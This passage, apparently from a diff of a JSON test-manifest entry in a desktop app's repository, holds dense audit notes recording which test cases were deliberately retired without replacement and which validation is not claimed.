key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit1579 removes workflow/manifest/regex/private binary-header and diagnostic metric inventories, fixture selectors, injected forwarding/platform/signature/process examples, unproven overlap and internal churn counters without equivalent replacement coverage. Retains actual Git trust/diffs; filesystem hash/ELF-region/native discovery; child CLI module repair; compiler/lock/publication/rollback and synthetic Electron install/cache ownership; executable shell quoting/exit; controlled notary/timer cleanup; local patched extractor file/AST freshness; real Chromium/WebKit CSP/sandbox/HTTPS image/referrer/link/preservation controls under parsed Android headers. Five unchanged setup-pnpm/VM request-cleanup definitions reviewed and not rerun. GitHub, installer/archive, OS metric, client, native delegate, compressor, builder and Apple boundaries injected or absent where recorded. No actual native PTY, shipped full/native app, real Actions/cache/npm signature authority, downloaded Electron archive, real objdump/linker/native CLI/AppImage, signing/NSIS/notary/upload/updater or live freeze proof. Historical scope before this audit: Published Linux 1.4.188 desktop against current source in both directions; scheduled weekly and manually runnable. No required PR check.",
       "motivatingLinks": ["https://github.com/stablyai/orca/actions/runs/34069063016"],
       "invariant": "A paired client and host without client-hosted browser capabilities retain server-hosted browser placement across supported version skew.",
-      "oracle": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Require both existing named browser placement scenarios to pass three times with one attempt, zero skips, zero failures, and no report errors.",
+      "oracle": "Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste eligibility, setup trust, scripted ACP error-to-journal publication and ligature cache tuple aliasing; plus supplied folder-runner uniqueness, mobile host-overlay/credential/update/preference races, status/markup/title/keyed-row projections, subscriber cleanup, cancellation/close/refusal/link-issue and mirror suppression alarms. Retained3373 merger contiguity, dual-clock overdue-resume exactly-once, rejected-paste IPC sink and annotation schema roundtrip remain bounded. Retained actual HTTP/OSC status composition, destructive sibling-filesystem isolation, external contrast invariant and fixture CSS pixel intervention remain narrower. Original reviewed87authored/92expanded become9/9; current OpenCode suite adds two preserved upstream cases and the synthetic-title suite gained one Cursor policy mock-call case, independently reviewed for removal in root3378; current90/95 become11/11. That Cursor suppression/ready-frame regression alarm is intentionally lost; it does not observe native title ownership or tab flicker. For3370 only the peer was independently blind, with author exposure explicit;3373/3374 both blind pins were verified. This broad root unit command selects the reduced root unit suite; UNIT_INCLUDE excludes mobile tests, which require the existing mobile runner; retained Playwright component-pixel spec uses its separate existing headless fixture runner and is not validated by the broad unit command. No fresh execution, actual agent/shell/provider, OS material/focus, historical import equivalence, mobile, mixed-version or cross-platform evidence is claimed. All dated receipts retain their original scope. Audit3368 composes root-adopted3363/3364 and3367/3369: intentionally retires181 authored registrations/196 expanded cases, including28 whole suites, without equivalent replacement. Lost alarms include hibernation attention/liveness/backoff/sequential teardown and inventory, host launch compatibility/legacy/Kimi/resource cleanup, terminal recovery parser/pause/quarantine/remount, window-visibility omission-fence lifetime, launch-option rendered Start, sleeping-resume saved recipe/WSL quoting/cancellation, plus removed project/window/input variants. Additional tiny-suite losses include sentence/label/field/default inventories, credential omission, Windows argument/environment mapping, URI decoding, diagnostics, provider classification and fake-clock callback/parser examples. Retained ten registrations/twelve expanded cases include two literal Unicode Mn/Cf zero-width range guards in the actual character-range algorithm and protect narrower delayed editor bytes/destructive ownership, mounted hidden collision repair, ten transport epochs, duplicate-command refusal, caller timeout typing, executor unknown-opener refusal and failed-chunk user bytes. This broad unit command selects the reduced suite; no fresh runtime, real provider/network/PTY, filesystem restart, native UI, historical import equivalence, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3362 composes root-adopted3358/independent3360: intentionally retires129 authored registrations/140 expanded cases, including four whole suites, without equivalent replacement. Lost alarms include supplied orphan-adoption retry/malformed inventory/cancellation; fake-terminal replay parser/wedge/disposal callbacks; all-host catalog metadata and Windows preferences; host keepalive/protocol/stale/settings failures; and removed exact-stop/suppression, source save lifetime, diff-note queue, rename/editor close, input flood/chunk refusal/limits, purge and creation examples. Retained18 registrations/21 expanded cases protect narrower ownership, generation, dirty-state, queue convergence, encoding and attachment-lease outcomes. No replacement or keeper quota claim. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY/xterm parser, disk restart, native UI, mobile, mixed-version or cross-platform validation is claimed. Unrelated dated receipts retain their original scope. Audit3359 composes root-adopted source3355/independent3356: intentionally retires130 authored registrations/139 expanded cases, including eight whole suites, without equivalent replacement. Lost alarms include strict create naming/capability/legacy payloads; supplied transport host replacement, deadline reattach, create-handoff and split activation; agent-session fork/clipboard/platform flags; shutdown cleared-scrollback/unmounted bindings; simulator host-collision/selection/shutdown; and removed editor, catalog, mutation, launch and status examples. Retained12 adverse-ordering/state-consequence cases are narrower and do not replace all removed alarms. Two queue absences receive zero removal credit. This broad unit command selects the reduced suite; no fresh execution, historical import equivalence, real provider/network/SSH/PTY, filesystem restart, native UI, mobile, mixed-version or cross-platform 